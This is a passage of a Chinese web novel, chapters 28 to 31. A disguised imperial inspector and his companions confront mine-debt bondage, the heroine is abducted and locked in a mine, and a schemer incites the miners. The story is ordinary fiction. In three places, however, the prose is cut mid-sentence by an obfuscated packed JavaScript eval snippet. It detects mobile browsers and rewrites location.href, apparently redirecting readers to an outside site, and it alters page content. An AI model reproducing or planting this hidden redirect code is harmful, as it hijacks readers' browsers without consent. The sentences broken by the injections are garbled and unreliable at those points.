铁矿、欠条、官印、府衙,层层相扣,把人压成可以随意填补的空缺。 而这条线,他见过。 在父亲出征前的军需清单里,在那场缺少补给的战役里,在那封轻描淡写的、父亲自戕的回报当中。 难怪他寻不到线索,原来线索都藏在这些细枝末节之处,你若站在和他们一样的“规制”里,便永远也看不见微毫。 他抬头看向里正:“既然如此,更应该去府衙看看了。” 辛圭敏锐地觉察到他的情绪场波动,有些不放心:“你……” 温麟趾看向她:“我随他去府衙一趟,你在这里待着。”说完,他又想到了什么,补充道:“我不会瞒着你,回来再告诉你。” 辛圭咬了咬唇,看了一眼榻上的赵三,又看向温麟趾:“我在这里等你。” 方启星将这一切都收入眼中,他“啧”了一声,嘱咐温麟趾:“你可别再给我乱上加乱,要是晚上你没回来,我可以考虑去府衙看看你。” 温麟趾淡声说道:“那就有劳了。” 说罢,他冲里正做了个请的手势:“我们一同去府衙。” 管事在旁讥讽:“看见没?这是个头铁的,不见棺材不落泪。” 直到他们走了,方启星这才走到辛圭身边,说道:“我的小姐,可不是不让你救人,只是你知道,有些事儿吧,救得了一个,救不了一群。他们又不是只抓着赵三一个薅,那一矿里面的人都是这样情况。” 杜掌柜也跟着点头:“这事儿和商州的柿子不同,咱们管不了。” 辛圭看向方启星,问道:“可是……不对的事情如果不加以纠正,整个都会坏掉的。” “那就不是咱们的事儿了。”方启星往椅子上一坐,说道:“那是朝廷的事儿。咱们就是个小小商行,管不了这么多。” “但那印鉴,不正是朝廷的官印吗?”辛圭说。 方启星看向辛圭,在她耳旁轻声说道:“也许有人,和你一样不愿意见到这样的事儿,也在想办法呢?如果他们不是想救一个赵三,是想救千百个赵三呢?” 28. 第 28 章 炉口镇及附近三镇一同组成一县,由县衙所管,而这县衙就设在炉口镇镇中。 县衙门口两只石塑被熏得发黑,头上积着一层烟尘,内里“肃静”与“回避”的牌子斜挂着,风一吹,咯吱一声,好像有什么好笑的事儿。 温麟趾进去时,连眼皮都没抬。 他不抬头,里正反倒觉得舒坦。这外乡人见了衙门,哪儿有不发怵的?怕才好办,怕才听话。 县令磨磨蹭蹭了好久,这才上了堂。他在里面早已经听得这桩事,根本不放在眼中,只觉得耽搁自己时间。 里正见县令上来,立刻上前,躬身添油加醋:“大人明鉴,这人乃是外乡商队,带着几个人在医馆闹事,阻人带走欠债矿工,分明是煽动矿工不服管束。” 堂上县令脸圆圆的,无论是官服亦或是脸庞,都干净得很,同外面所见百姓灰扑扑的样子大有不同。 他眯着眼睛,上下打量温麟趾后,狠声说道:“好大的胆子!抢矿工、扰矿务。来人,先拿下,关——” “慢。”温麟趾开口。 他声音不高,却十分干净,县长一愣,随即更怒:“刁民竟敢插嘴?” 温麟趾抬眸:“我来报官,你却抓人。你若当真按王法办事,就该先问是谁报官,报什么官,证据何在。” “我。”县长朝天拱了下手:“是皇上赐的官印,自然按照王法办事。你扰乱本县矿场生意,就是罪。” 他一挥手,左右两名衙役立刻冲下堂来,铁尺抽出,直奔温麟趾的肩。 温麟趾在衙役靠近的一瞬,身形微侧,抬手扣住对方手腕,顺势一拧,铁尺脱手落地,发出清脆声响。另一人从侧面扑来,他脚尖清点,挪动极短,避开对方的锋芒后反手一肘,压在对方臂弯处,将其往后一推。 两名衙役踉跄后退,脸色发白。 “反了!反了!你竟敢在县衙动手!”县官瞪着双眼,“叫人!把他给我收了!” “我不想动手。”温麟趾说道:“你是县令。既然如此,你告诉我,矿上欠条为何盖得是官印?冶官已撤,印从何来?矿工入矿,因何反欠矿场银子?这算是县上的治安,还是人命买卖?” 县令越听脸色越沉,忽然笑了:“你问得好,可是你问错地方了。这里不管这些,只管矿上别乱。” 说罢,他看了里正一眼,里正心领神会,趁着几名衙役再度上前的时候,轻声离去。 ## 医馆那边,门帘被风吹得摇来荡去,老大夫刚给赵三喂下药。 方启星在门口靠着柱子,掐算着时间,盘算着要是温麟趾若是一个时辰后再不回来,自己怎么去县衙救人。 他正想着,一个小孩跑到医馆前,塞给方启星一个纸团。 方启星拆开扫了一眼,脸色瞬间沉了下去。 纸上只有一句话,松松垮垮漫不经心,却偏偏能戳得人心里难受。 ——“小侯爷,出来聊聊。你若不来,我就找她聊聊。” 没有署名,但方启星再明白不过,这是陆居平。他握紧手,纸团在掌心磨砺得生疼。 他转头看向辛圭,她正在守在榻旁,一边还在接受杜掌柜的“谆谆教导”。 方启星喉结滚动,轻声骂了一句。他知道陆居平的手段,他不会逼死人,但会逼得人不得不选。 他把纸团塞进袖口,脸上挤出些笑容:“我出去买点吃的,你就在这里,别乱跑。” 辛圭抬头看他:“好。” 她感觉到他情绪场的变化,但也知道他有自己的秘密。 方启星转身走了两步,又回头看了她一眼:“我回来给你带糖。” 辛圭点了点头。 方启星走出医馆,背影很快就消失在街巷当中。 走过没几个街巷,方才那孩童在前方不紧不慢地走着,引着他去往一处民宅。 陆居平在窗内冲他招了招手,方启星闪身走进。他有些不耐烦地说:“有话快说。” 陆居平笑笑:“怎么?刚大闹矿场,现在急着回去收拾残局?” 方启星看着陆居平,沉默片刻说道:“有时候我真的觉得你很可怕,什么都知道,却永远不站出来,让人看不见摸不透。” “你不需要摸透。”陆居平看向他:“我们各有分工,不是吗?” “那我现在就要回去做我的分工了。”方启星站起身,说道。 “不急。”陆居平斜靠在椅背上:“你难道不想知道我为什么在炉口镇,接下来想做什么吗?如果不知道,万一成记行被卷进去怎么办?” 方启星咬了咬牙:“你说。” “炉口镇的情况你也看到了。”陆居平抖了抖身上的灰,“你们救了一个赵三,那矿里还有千千万万的赵三,是不是?” “这不用你说。” “赵三他们真的知道自己辛辛苦苦干下来,反倒欠矿里更多吗?”陆居平沉声说道:“人当然可以卖命,但前提是知道自己还有个盼头。要是没了盼头,你说这矿场上的人会如何?” 他看向方启星,嘴角勾起:“原本就算你们不来,我也已经安排好了。谁知道就是这么巧,你们来了,李成圭吃到商州柿子的甜,自然会管登州铁矿的事儿。这一个赵三,只要运作的好,足以点燃矿场的火。” “你要拿成圭做引子?”方启星问道。 “不是我拿她做引子,是她适合做引子。这天下谁人不是引子?”陆居平看向窗外,一队人马急匆匆向医馆的方向跑去。“活得单纯的人,难免会被人利用。被我们利用,总比被别人利用好。” “你是在强行将她绑在你这条船上!”方启星反应过来,骂道。 “你为什么生气?”陆居平一歪头:“这不就是我们原本的计划吗?难道不是因为小侯爷你,不舍得按照我们的计划下手,这才让我不得不使些手段吗?” ## 方启星离开没多久,医馆门口又堵进来一拨人。 还是那位鼻梁上带疤的管事,身旁站着里正,身后多了七八个壮汉。他站在门口,笑得很客气:“小姐,麻烦您跟我们走一趟。” 辛圭皱眉:“我们的人已经去了县衙。” 管事扫了一眼榻上的赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874893|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三,像看见了一堆碍眼的垃圾:“你们把我们的人抬走,欠条又不认,里正也好心请你们对账。如今你们的人去了府衙,但这事儿,也得有人抗着。不然我不好过啊。” 他一抬手,身后的人往前踏了一步,逼得医馆里的人不自觉后退。 杜掌柜脸都白了,挡在辛圭身前:“你们别乱来!要银子要东西我们都给。” “给?”管事嗤了一声:“结账是给你们体面,可你先把我们的体面给踩了。现在,就不是银子的事儿了!” 管事朝辛圭偏了偏头:“走吧,矿上有人想见见你。” 辛圭盯着他:“谁?” 管事笑得更深:“这似乎轮不着你问。但你不是一直在问‘这里谁做主’吗?今天就让你见见。” 辛圭站起身,心跳很快,她抬头说:“好。” 【新世界环境记录·人际关系033: 退让,代表安全。但退让,意味着视而不见。 结论:我长眼睛了,我看得见。】 管事挑眉:“小姐爽快,不愧是做生意的人。” 杜掌柜急得声音发颤:“小姐!你疯了?你一个人去矿上,那不是羊入虎口?我得和你一起去!” 辛圭转头看向杜掌柜,叮嘱道:“杜叔留在这里看着赵三,等温麟趾或者方启星回来了,告诉他们一声我去矿上了。” 杜掌柜嘴唇颤抖,想要阻止,却被管事按住,只能眼睁睁看着她被那群人围住往外带。 走出门口时,老大夫突然开口,声音沙哑:“姑娘,记得——别讲对错,没有对错。” 辛圭眨了眨眼睛,冲他笑笑,并没有出声应下。 ## 方启星虽然不及陆居平心里的那些弯弯绕,但相处时间长,他也算了解对方,此刻听到他这么说,脑子里嗡得一声,“你……成圭她……” 陆居平冷冷看着方启星,说道:“我劝你,如果想救人,不要搬出你小侯爷的身份,不要扰了我们的计划。” 方启星没有回他,只是转身冲出了民宅,向医馆方向跑去。 县衙那头,衙役躺了一地,温麟趾捏着县令的肩,冷声问道:“矿主是谁?” 县令颤颤巍巍,早就没了方才的威风,连忙答道:“矿主是里正。” “这么大的矿,里正哪里来的银两运营?背后是谁?”温麟趾手下愈发用力,疼得县令龇牙咧嘴:“让我猜猜?是刘常?” 县令像是被勒住了喉咙,一言不发,温麟趾轻笑一声:“一个冶官,要是也有这么通天的本领,我是不信的。” “你你你,你是谁?”县令吞了下口水:“我就是一个小官,他们说,我做,他们有上面的印鉴,我也只是按照规矩办事。” 县衙外脚步声杂乱,温麟趾环顾四周,发现里正没了身影,他脑中有一个念头,越来越清晰,也越来越冷。 他们不会只在欠条上动手脚,也不会仅仅想把自己困在县衙给点颜色,他们并不在意更肮脏些。他们最擅长的,是拿你看重的人,来逼你卖命。 他看向门口,目光微沉。 29. 第 29 章 短短半天时间,辛圭又回到了矿场,只不过上次她坐在马车上,这次却是被人强迫而来。 矿场越往里走,空气越浑浊,烟灰贴在喉咙上,裹在鼻息中,掐着气门,不肯让人喘得太顺畅。辛圭走得很稳,不动声色地仔细观察路边堆着的东西、棚屋、值守的壮汉,以及那些藏污纳垢的角角落落。 在路过一堆废麻袋的时候,她脚尖轻轻一绊,像是被石头绊到,顿了一瞬。她迅速弯腰,指尖从麻袋边缘捻出一根灰色麻线,握在手中。 管事回头:“怎么?” “鞋里进了东西。”辛圭平静道。 管事冷笑:“咱们这地方就这样,走不顺就别非要趟进来。” 矿里已是休息的时候,有人远远看她,眼神好奇又警惕,也藏着一丝无奈。但也很快别过头去,脸上只留下一片麻木。 管事把她带到一间背光的屋子前,门板厚重,门缝也窄,里面不透风,好像连烟气都被阻隔在外。 “进去,要和你谈话的人就在里面。” “这里?”辛圭还没迈进去,就被管事猛地一推,门在她身后“砰”地合上,门栓落下。 “和你自己谈吧!”管事骂了一句,脚步声渐行渐远。 屋里很黑,辛圭站了好一会儿才适应。这是个小房间,角落里堆着断木柄和碎陶罐。她走过去,指腹点在上面,轻轻一抹,是层厚厚的灰。 【光忆星稳定人格维护手册·个人版第三十二条:遇到问题时,详细记录情况,与相关人员说明。】 她脑海中浮现出光忆星的要求。 可是在光忆星,大概不会出现现在的情况,这或许是另外一种劫持。 【新世界生存实验手册·环境记录056: 劫持,是新世界经常出现的一种行为。具体表现为劫持感官和认知,如果无法成功劫持,将提升为人身劫持。】 辛圭靠墙慢慢坐下,背靠着冷硬的土墙,将呼吸放慢。 【光忆星稳定人格维护手册·个人版第二十八条:放慢呼吸是一种调节方法,可以减缓新陈代谢,可以节能存耗。请在睡眠时,主动调节呼吸频率。】 记录,记录可以使她理清头绪,寻找办法。 【新世界环境记录·登州·005: 矿场的规矩:将人关起来,无法接触相关人员,使人变成可以被处理的物品。 应对策略:留下路径证据,减缓呼吸节律,等待可能破局的时机。】 她突然想到之前在哪里看到的,一个叫做“杀鸡儆猴”的成语,所以现在自己应该是那只可怜的鸡,可是她不太喜欢鸡,也不喜欢被人拿来当不好的示例。不管是在光忆星,还是在新世界。 她缓慢记录完,才感觉到自己掌心有一点抖,但并非害怕,而是身体在适应粉尘和冷意的本能反应。 过了不知多久,门闩响了一声。 木门上有个小口被打开,一个小工低着头,像是怕看她,沿着空档递进来一碗稀薄的粥。碗沿不小心磕在木头上,溅出几滴灰白的汤水。 他示意辛圭过来拿碗。 “等等。”辛圭没急着接碗,开口道。 小工愣了一下,肩膀下意识缩起来。 辛圭没站起身,也没靠近,只是坐在墙边,接着门缝的那一点光,试图去看对方的情绪场。 【情绪场观察·临时条目 对象:送饭者 表现:一团灰色的雾气包裹着即将熄灭的火苗。 敌我判断:偏中性立场。】 辛圭深吸了一口气,她想尝试通过说话,拨动对方的情绪场:“你叫什么?” 对方瞥了她一眼,支支吾吾:“小顺。” 情绪场平稳,没有特别大的波动。 “我不会为难你,我想请你帮我带句话出去。”辛圭尝试,她一直觉得直截了当才是最好的沟通办法。 小顺的情绪场里的灰雾瞬间变厚,甚至那点小火苗也快看不见了。 ——没说到他的点,他听到的是“麻烦”。 辛圭判断。 她站起身,慢慢朝门口走去,声音放缓:“我只是想救人,赵三他不行了。”她想了想,从口袋里掏出一块柿子糖,递给小顺:“你尝尝,很好吃的,是我自己做的。” 毕竟还是个半大的孩子,小顺的目光集中在她手上的那颗糖上,可见地吞了下口水。 情绪场里的灰雾开始左右摇晃,火苗一会儿腾地起来,灰雾又盖了回去。 怎么会有这么小的孩子在矿场里? 辛圭突然想到当时管事说的话,“如果他死了还不上,就让他家人还”。所以,小顺这么大的孩子,或许是因为父亲类似于赵三的情况,才到矿上来做工的? “如果你不敢,就当没听见。”辛圭深吸一口气,缓缓说道:“我只是想让人知道我在这里。不是救我,而是不想消失的无声无息。” 那点火苗突然活跃了起来,上下跳动,好像要把周围的浓雾都驱散。 那是火啊,不是随便的什么东西,它原本是应该能焚烧一切毁灭一切的。 辛圭看见了,把话说得更短:“你只要帮我带一句话到医馆,给温子修,三洞四进左七。”她停顿了一下,观察者情绪场的形态,补充道:“你可以把这句话丢在那里,转身就走,没有人会说是你带话的。” 小顺的手指在衣角上抠出一道白印。 火还在。 辛圭接过碗,说道:“他那里有很多糖。日子,本来就应该是甜的。” 小顺吸了口气,像是在把某种恐惧吞回去。他轻轻地点了一下头,几乎看不出来,随即快速地关上木口子,动作很快,好像怕自己会反悔。 黑暗再次压下来,辛圭没有立刻记录。她把掌心贴在胸口,听见自己的心跳还在,却没有刚才那样乱。 【新世界应急记录·034: 现状:被关。 目标:不消失。 方法:让外界知道“我在”。】 她把“会被救”这件事从脑子里拿掉,再把“我能做什么”这件事放进去,像是在更换思考的系统。 ## 方启星回到医馆时,屋内空了一块。 这种空更像是桌上少了一盏灯,你一眼就能看出来。 杜掌柜见他回来,几乎是扑上去的:“方启星!小姐被矿山的人带走了!” 方启星麻木地点了点头,他在来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882471|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路上不是已经知道了吗?但他还是无法控制脑子“嗡”的一声,像是被人当头重击了一拳。他转身就走,走到门口又说:“我去矿上救成圭,杜掌柜如果时间久了,快去登州府衙。” 方启星从马车上卸下马,冲向矿场。 矿场比他想象中的要大,棚屋一间接一间,他甚至无法得知李成圭在哪处。他顶了顶后槽牙,从怀里掏出一锭银子,冲门口两个壮汉笑道:“劳驾,进去找个人。” 对方接过银子,在手里掂了掂,眼皮一掀:“滚。” “我不爱滚。”方启星语气还是轻的:“我更爱走正门。” 他往前走了一步。两人同时抬手,方启星已经没有了笑意,他一脚踢在门侧的石墩上。那石墩原本是压门用的,被他这一脚踢开,门缝“咯吱”一声松了一线。 两人愣神的一瞬,方启星已经贴了上去。 他手肘猛地一沉,撞在左边那人的肋下,那人闷哼一声,腰一软,力道自然松了。右边那人抬拳就砸,方启星不躲,反而抬臂硬挡,拳骨撞在他小臂上,发出一声沉闷的“砰”。 疼。 但他此刻已经感觉不到什么了,甚至连眉头都没皱,只是扣住那人的手腕一拧,反手把人往门框上一按。“别叫。” 那壮汉被压得脸贴木门,气急败坏:“你敢!你敢进矿——” 方启星笑了一下,但笑意很冷。他脚尖一勾,把门栓再往外挑半寸,门缝更大了。 矿场里立刻有脚步声传来,更远处还有哨音,短促尖厉,像是专门训练出来的。 方启星眼色一沉,小小矿场,门禁却如此森严,甚至还有些兵场的架势。 门里有人喊:“哟,怕不是来救那小娘子的吧?你的脚但凡敢踏进这门,我们就立刻打断她的腿!” 方启星的手指微微一紧,指节泛白。 矿上的人最擅长的不是讲理,而是讲代价。 他深吸一口气,把那股冲上来的火硬生生压回去,就像将一把刀强硬地按回鞘中,刀不情愿,人也不情愿,但不得不如此。 “滚远点,别在门口碍眼!” 方启星转身就走,走得很快,快得像怕自己一回头就会失控。 “哈哈哈哈!你看他,刚才多威风,现在多听话。”身后传来管事的嘲弄。 方启星走到拐角处,脚步一停,拳头终于砸在墙上。 “砰”的一声,石灰簌簌落下。 他低声骂了一句,声音像从牙缝里挤出来的:“陆居平……你他娘的,真会算。” 方启星抹了一把手背上的血,抬眼望向矿场方向,眼底那点笑意彻底没了。耳旁回响起陆居平的声音:“我劝你不要亮身份。” 身份。身份。身份。 他紧咬住牙,到底什么更重要? ## 医馆里,杜掌柜见方启星走了,急得在屋子里打转。 门帘一掀,小顺探头探脑地进来,对着杜掌柜小声却清楚地说道:“给温子修,三洞四进左七。”说罢,他转身就走,像是给自己壮胆,又补了一句:“我没说过。糖我下次来拿。” 门帘落下。 杜掌柜闻言咬牙,转身就往县衙跑去。 30. 第 30 章 县衙里,地上躺着一地哼哼唧唧的衙役,县令的脸色也在这个过程中从红变白,又从白变青,嘴上却仍不讨扰:“你!刁民好大的胆子,竟然敢袭击官员!我已经派人去往登州府衙,你以为你逃得过吗?!” 外头传来一阵急乱脚步,杜掌柜冲进堂里。门口没人阻他,进到县衙里他亦被当前的情景吓得腿软,但此刻什么都顾不上,声音发颤:“温子修!小姐……小姐被矿上带走了!” 温麟趾的手指一紧。 如果辛圭此刻在,她会感觉到他情绪场中的井水骤然回潮,表面还是冷的,底下却早已轰地炸开。 他看向县令,声音更低了些,低到像刀背抵在对方的骨头上:“听见了?” 县令哆嗦:“我、我不知道……矿上的事我不管……而且你大难临头,还想救人?” “不管?”温麟趾轻声重复了一遍,嘴角反倒挂起一丝笑,原本冷寂的面容便添了一丝冷酷。 “我真是管不了!”县令被吓得颤颤巍巍:“矿上那么大,人被他们带进去,没有全须全尾能回来的。就算你去了,你也找不着人。” 杜掌柜吞了下口水:“方启星人已经去了好久,但仍没个消息,刚才有个……人,来带消息。” “什么消息?” “他说:给温子修,三洞四进左七。还说,糖他下次来拿。” 是李成圭给他的消息,温麟趾深吸一口气,松开县令的肩,反手从怀里取出一只小匣。 他像是下定了某种决心,将木匣打开,里面躺着一枚官印。 县令的眼睛瞬间瞪大,嘴唇哆嗦着:“你……你……” 温麟趾把官印放在案上,声音平静:“朝廷巡查御史,奉圣上之命私访沿途。” 这是在临走前,德明帝给他的,非必要时不可拿出。德明帝想要李成圭像个商人之女一般行走江山,而不是被人抬着轿子溜达一圈,这是当年国师的批语,也是温麟趾要践行的皇命。 他原本也是没曾想过要用着官印,一来沿途私访暗查,要比敲锣打鼓来的有效,父亲自戕背后的阴谋既然已经渐渐浮出水面,那就更不应当将这官印拿出,否则一切努力都会变成镜花水月,给旁人早早准备的机会。 但此时此刻,他虽不知道李成圭是如何将讯息传出来的,但她做了,而且说明是给自己的。 温麟趾脑海中浮现两人在山洞中握手时的情景。 若是以前的他,甚至出发前的他,或许并不会在意李成圭如何。他更在意的是三年后的死期,是父亲自戕背后的阴谋,是如何阻止血流成河。 以一人之牺牲,换取天下之主脉,无何不可,有何不可? 可如今,此为并肩,而非一人孤身。 是以,他将官印拿出。 也是将自己所查出的种种置于脑后。 县令脸色像被抽空了血,膝盖一软,几乎要跪。 温麟趾声音冷漠:“立刻上报登州府。你亲笔写,衙门用印。半个时辰内我要看到登州府的回条。逾时——你这个县令,先别当了。” 县令连声应道:“是、是!我写!我写!” 他在温麟趾的监督下快速写了条子,又着伤情不重的人快速送往登州府,用县衙最快的马。 温麟趾抬手指了指门口:“带路。” 县令一愣:“带、带路?” 温麟趾看他,终于露出一点极淡的笑意,像冬夜里一缕冷月:“你不是说只管矿上别乱吗?那你跟我去矿上,让他们别乱。” 他说完,转向杜掌柜:“你回医馆守着赵三,别慌。我会把小姐带回来。” 杜掌柜已经被眼前的转折变化惊得不轻,他眼圈发红:“我、我跟您一起去——” “不必。”温麟趾声音放缓了一点,“你去了只会更乱。守住医馆,守住她救回来的那条命。” 杜掌柜狠狠点头。 “对了。”温麟趾抬了下手,修长的指节置于唇前,做了个噤声的动作。 “我懂,我懂。”杜掌柜连连点头,他早就看出温麟趾这人不对劲儿,哪里有长随的样子,如今知晓自己这商队是攀上大人物了。 温麟趾抬脚往外走,县令连滚带爬跟上,身后衙役们面面相觑,却没人敢拦。 门外天色更低。 温麟趾走到台阶下,停了一瞬。 李成圭。 他答应过她,做安全责任人。 奇怪的词语,奇怪的人。 想到这里,他正色,此时此刻他要做的,是把“答应”变成一条她能回来的路。 ## 矿场往镇上的路渐渐暗了下去,不过矿里的天色,从来不分早晚。 烟灰贴在梁上,也贴在人的眉梢上,久了就像一层新的皮肤。你若说它脏,它兴不准还会回你一句:这里原本就不干净。 矿工们三三两两凑在一处吃饭,简单的菜,淡薄的粮,足以维持人不倒下,但也没有更多的精神想其他的了。 有人压着嗓子问:“听说那个外乡姑娘被关了?” “她管得太宽,这矿里,哪管人命?” “可是……”有人嘀咕着:“她救了赵三。”话没说完,便被重重的咳嗽声压了下去。 “赵三没福气,再干几个月就能领银子回家了,到时候老婆孩子热炕头,自己家里再盖个小屋,多舒服。偏生他身体不好,怪得了谁?”有人说道。 “哦?我真不知道原来会有人能活着出这个矿。”矿工中突然有人开口。 “你怎么说话的?要是不能活着出去,谁来这儿干活?你来这儿干活干啥的?” “我?”月光洒向人间,说话人的耳垂上有一颗小小的红色光点:“我本来就是想死,这才来的矿里。” “胡说!我们进矿的时候都是写了条子的,官府也盖章的,他们赖不得!”有矿工骂道。 “莫非你说的是这个?”陆居平从怀中掏出一张欠条,脸上笑吟吟的:“你们以为欠的是一碗饭、一张床。可是按照上面的利息,你们干了一个月,欠得更多;干了一年,倾家荡产。一辈子都被拴在矿上。” 有人听他仔细讲了利滚利的数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885666|190874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,低声骂了一句脏话。 “不得不得,官府盖章了,怎么可能是骗人的?”有人提出异议。 陆居平笑笑:“所以这个矿区,你们是差不多时间来的?可有更早的矿工告诉你们,他干了几年就能领银子走了?” “有啊。”有人说道:“老黑就是领银子走的,不是住在炉口镇,日子老好了?” 陆居平看看他,又看了看渐渐凑过来的矿工,语带嘲讽:“就一个?你们就信?” 矿工大多数家中无地无粮,又或者是因为其他原因,但大多只是为讨一□□处,不然谁也不会来这里。都抱着一丝期冀,抱着一点种地人的老实,没读过书,没上过学,谁能想到里面的弯弯绕。 但陆居平也并非突然前来,他早几个月就在这里部署了,慢慢散布,如今只是恰好到了可以收网的时机。而这时机,还是李成圭拱手送上来的。 陆居平不说话,感受着矿工的骚动,为了不让这些血性乱跑,他像牵缰一样把它们往一个地方拽:“你们怕什么?怕挨打?怕扣粮?怕把你们关进黑屋?” 他顿了顿,语气忽然放软:“可你们再怕,能怕过赵三吗?他现在躺在医馆里,喘得像破风箱。还是有好心人送去的,可这好心人如今也被关在矿上。哦,我听说赵三如果死了,他孩子要来矿上替他还债。你们谁敢说,他不是你们的明天?” 这句话落下去,矿道里响起一片沉重的吸气声。 那不是同情,是恐惧。而恐惧一旦被点名,就会迅速从“影子”变成“火种”。 陆居平的声音更轻:“你们想活吗?” 没人回答。 “想活,就得让他们知道——矿工不是麻袋,不是石头渣子。矿工要是都死了,这矿谁来挖?这炉口谁来烧?你们的命,你们孩子的命,不该是他们算账的笔尖。” 有人终于抬头,声音嘶哑:“那我们要怎么做?” 陆居平没有立刻回答。 他很擅长让人自己问出来,如此一来,火就不是他点的,是他们自己着的。 他开口时,声音里带着一点近乎慈悲的残忍:“很简单。把赵三抬回来。” 人群哗然。 “抬回来做什么?!” “让他死在矿门口吗?!” 陆居平平静道:“不。让那些以为一次两次救一个人就能成菩萨的好心人看看,他们救不了所有人。让那些以为官印能压在你们头上的人也看看,这些,压不了你们。” 他顿了顿,又补上一句:“你们也可以看看,到时候官府是什么反应。是派兵来把你押回去?还是只管那些好心人?你们的命到底是不是命?” 辛圭坐在小黑屋当中,耐心地数着时间,可慢慢的,她坐不住了。她站起身,把掌心贴到木门上。 她闭上眼,去看外面的情绪场。 灰雾翻滚,火星密密麻麻,而在其中,有一叠叠得整整齐齐的纸,岿然不动。它没有被火星牵引,仍然是那般整齐规整,好像周围的火势与它全然无关。 但偏偏,它就在正中。 31. 第 31 章 炉口镇的风更冷了些。 县衙前,马已牵出,县令涨红着脸跟在温麟趾身后。 温麟趾语气翻身上马,语气压得很低:“记住一句话,今日去矿上,并非压人,而是救人。”他顿了顿,目光收敛:“别张扬,你就当自己是被登州府衙拎去骂了。” 县令连连点头,嘴里答应得很快。他心里清楚,这般以商队身份出行,定然是为了不引人注意,再听这话,便打定主意不会提“御史”二字。 他也并非没想过要不要通报给上面的“大人”,但天高皇帝远,自己又是个芝麻绿豆官,如今御史就在眼前,总得先保住当前的命再说。 他跟着温麟趾一起上马,几个衙役只好跟在后面小跑。 马蹄踏在石板上,把一地的灰尘碾开,朝矿场的方向前去。 ## 炉口镇,医馆。 灯火把屋子熏得发黄,药材的馨香此刻并不能安抚人心,反倒压得人心头发慌。 赵三躺在床上,胸口起伏浅得可怜,好像那口气随时会断掉。 杜掌柜坐在床边,手里攥着账本,却一页都没有翻开,只是无意识地用指节去抠那条磨损的册脊。 门外传来一阵凌乱的脚步声,紧接着是“咚咚”两声敲门响。 他猛地一抖,连忙上去开门。 门一推开,冷风带着煤灰味钻进来,几道人影挤在门口。 最前头的事个胡子发灰的老矿工,其实也很难分辨清楚他胡子的底色,因为他整个人都是灰呛呛的,只有眼睛里充满了血丝,像是炉灰里的未灭的火星。 “我们,想借个人。” 杜掌柜后退几步,下意识挡在床前:“借谁?” 老矿工看了一眼床上:“赵三。”他低了下头:“把他抬回矿门口。” 屋子里很安静,灯芯爆了一丝油花,发出轻微的爆破音。 “抬回去?”杜掌柜摇头:“这一路颠簸,他这一口气怕是撑不住。” 站在门口的矿工们都低着头,有人悄悄抹了一把脸。 老矿工的声音像是在矿场里磨砺了很久,被铁、被灰调塑成了现在的沙哑,他一字一顿:“他撑不来几日。要是死在这里,是他自己命薄。可要是死在矿门口……”他说到这里,抬头看向杜掌柜,眼神有力:“那就是那口矿在要他的命!” 他吸了口气:“当初把他带去干活的是我,我最快,说那边好歹有口饭吃。他娘托付的时候,给我磕了三个响头,现在总得有个交代。” 门外那些矿工一声不吭地站着,肩膀绷紧。 他们知道,真把人抬回去的后果是什么。但他们如今也想,如果不抬,自己这辈子大概都要在黑暗里弯着腰。 像那个人说的,那个和他们在黑暗中窃窃私语的人说的,赵三是一点火星子,只要能着起来,就能点燃这个矿洞。 杜掌柜不是不明白他们的意思,这些人和矿场管事的不同,但李成圭出门时是有交代的。 他喉咙发紧,掌心都是汗。 这已经不是救一个人给一点赔偿的事情了。 老矿工低声道:“你放心,抬出去,我们来。他死在路上,也是我们担着。” 杜掌柜终于开口:“我给他整理整理。” 他细细帮赵三把衣襟理好,又把布子给他盖上。“赵三啊赵三,”他小声念叨:“你们命苦,但又倔,就照他们说的,倔到底吧。” 布子盖好,老矿工上前,双手从底下托起一头,另外几个矿工默不作声地围上来。 “借路。”老矿工说。 杜掌柜侧身让开,在他们即将走出门时,低声说了一句:“路不好走,你们慢些。” “嗯。” 矿门口的风,从来都是硬邦邦的。那口黑洞洞的矿井像打开的嘴,吞进去的是人,什么时候吐出来,吐什么出来,全看运气。 赵三被平平整整地放在矿门前,头朝外,没人擦拭他,如今脸上完全褪去血色,更像一个僵硬的人偶。 老矿工跪在他头边,额头已经磕破了皮,血混着灰,糊成一片红泥。 围着的矿工越来越多,问询的也越来越多,便像一场不知名的葬礼,引来同路人的悼念。 “把人抬走!”矿上管事终于挤了过来,嗓门拔得很高:“这里是矿门,不许堵!” 他身后站着几个打手,手里拎着木棍和铁钩,摆出架势。 若是放在以往,若是放在一个人身上,这是无力承担的。但此时此刻—— “抬走?!”老矿工抬头,声音嘶哑:“抬回哪儿?抬进矿里埋了?” “他配进矿吗?!”管事冷笑一声。 